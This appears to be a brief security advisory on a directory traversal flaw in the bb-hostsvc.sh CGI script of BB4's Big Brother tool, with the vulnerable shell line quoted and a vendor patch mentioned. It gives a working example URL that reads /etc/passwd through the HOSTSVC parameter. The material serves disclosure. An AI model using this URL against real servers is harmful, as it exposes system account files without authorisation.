The problem exists in the code where $HOSTSVC does not do authenticity
checking for its assigned variable.
---- snip ----
# get the color of the status from the status file
set `$CAT "$BBLOGS/$HOSTSVC" | $HEAD -1` >/dev/null 2>&1 BKG="$1"
---- snap ----
e.g. http://www.bb4.com/cgi-bin/bb-hostsvc.sh?HOSTSVC=/../../../../../../../../etc/passwd
BB4 Technologies has already been notified and a patch is already out.
It can be Downloaded from http://www.bb4.com/download.html
/* This exploit was found due to the mass intelligence and elite cow-people
